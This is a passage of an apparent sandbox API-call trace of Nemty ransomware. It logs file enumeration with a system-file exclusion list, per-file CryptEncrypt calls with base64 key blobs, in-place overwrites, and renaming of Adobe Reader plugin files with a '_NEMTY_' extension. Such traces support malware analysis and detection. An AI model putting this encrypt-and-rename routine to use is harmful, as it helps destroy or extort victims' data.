lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.852] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn._nemty_kgobjgd_")) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.853] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.KOR", cAlternateFileName="")) returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2=".") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="..") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="...") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="windows") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="$RECYCLE.BIN") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="rsa") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="NTDETECT.COM") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="ntldr") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="MSDOS.SYS") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="IO.SYS") returned -1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="boot.ini") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="boot.ini") returned 1 [0190.853] lstrcmpiW (lpString1="Flash.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="ntuser.dat") returned -1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="desktop.ini") returned 1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="CONFIG.SYS") returned 1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="RECYCLER") returned -1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="BOOTSECT.BAK") returned 1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="bootmgr") returned 1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="programdata") returned -1 [0190.854] lstrcmpiW (lpString1="Flash.KOR", lpString2="appdata") returned 1 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.KOR", lpUsedDefaultChar=0x0) returned 9 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.KOR", lpUsedDefaultChar=0x0) returned 9 [0190.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.KOR", lpUsedDefaultChar=0x0) returned 9 [0190.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.KOR", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.KOR", lpUsedDefaultChar=0x0) returned 9 [0190.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.854] Sleep (dwMilliseconds=0x5) [0190.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25691bd0, dwHighDateTime=0x1d561e8)) [0190.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25691bd0, dwHighDateTime=0x1d561e8)) [0190.864] GetLastError () returned 0x0 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.864] GetLastError () returned 0x0 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.864] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.864] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.864] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.864] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="sJJl2M0ZcUKQgg/8nC8E+w5vIHe28+IULR1riLHa3hM79Ez++21LNA9DjknYTN12\r\nZPrCO3Ja8SWLs13ji+EIi/VmBvkNG13br7S2JFleAzTL96+a50HutvfqMva6zHJv\r\nJlwE6OhE0CX5Fg9/kaJFSQ+Xt/acHlOQfVhWyzXZM0gVj1xgbKdo44a8PKs7v57k\r\ntqM2oYhULMmxAMHg9rtXc7s7Tr+7cn09qYuOou+iWm5DGASgcesobaB9BjcLjK6d\r\nwDfZc9v4hQ7bpCmv4HR6exfQvl9FdF3sjFK1eu/CpVw4wzrHkydvlcXbwl2QVNBa\r\nYssSokBms1+O7C9oqKmWtA==\r\n", pcchString=0x653e29c) returned 1 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.866] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.866] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.866] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.867] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.867] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.867] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.868] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.868] CloseHandle (hObject=0x2f0) returned 1 [0190.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.868] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.kor._nemty_kgobjgd_")) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.869] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2=".") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="..") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="...") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="windows") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="$RECYCLE.BIN") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="rsa") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="NTDETECT.COM") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="ntldr") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="MSDOS.SYS") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="IO.SYS") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="boot.ini") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="boot.ini") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="AUTOEXEC.BAT") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="ntuser.dat") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="desktop.ini") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="CONFIG.SYS") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="RECYCLER") returned -1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="BOOTSECT.BAK") returned 1 [0190.869] lstrcmpiW (lpString1="Flash.mpp", lpString2="bootmgr") returned 1 [0190.870] lstrcmpiW (lpString1="Flash.mpp", lpString2="programdata") returned -1 [0190.870] lstrcmpiW (lpString1="Flash.mpp", lpString2="appdata") returned 1 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.mpp", lpUsedDefaultChar=0x0) returned 9 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.mpp", lpUsedDefaultChar=0x0) returned 9 [0190.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.mpp", lpUsedDefaultChar=0x0) returned 9 [0190.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.mpp", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.mpp", lpUsedDefaultChar=0x0) returned 9 [0190.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.870] Sleep (dwMilliseconds=0x5) [0190.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x256b7d30, dwHighDateTime=0x1d561e8)) [0190.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x256b7d30, dwHighDateTime=0x1d561e8)) [0190.879] GetLastError () returned 0x0 [0190.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.879] GetLastError () returned 0x0 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.880] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.880] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="Tkym42Cw+Ck7Tkv7LX5Y531D6x8iDHEpPl6kcYo5TqkWx64XLJw6q1/DO8sQ/ZWn\r\n5dHK4/HPD3qOJuhr804kSackUAh6GnBV0nIAkbTOjAlSvx5XEfwo1JZ0IjQa+fij\r\nUFf7yLK208l9EGK7819ArAB3hvtf1lUqP46Ek9+7NEIOzQVsNzEaxqLAbSRdueq7\r\nFweAgtA1Py/RddLxApjSrOVfGLXbOF56P9BKqkseYB1psrqaPIdvrjtOzC9Dolzy\r\n37mouMnv9l380WDBHcrG3KrQ7xgCoBWZftKKulfNT5LUeNrhWybK1JerF63/pnIi\r\nNV61+zqOHstTqnFLr0oZjA==\r\n", pcchString=0x653e29c) returned 1 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.880] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=120832) returned 1 [0190.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.881] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.881] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0190.889] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.889] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0190.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.890] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=120832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d800 [0190.890] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: 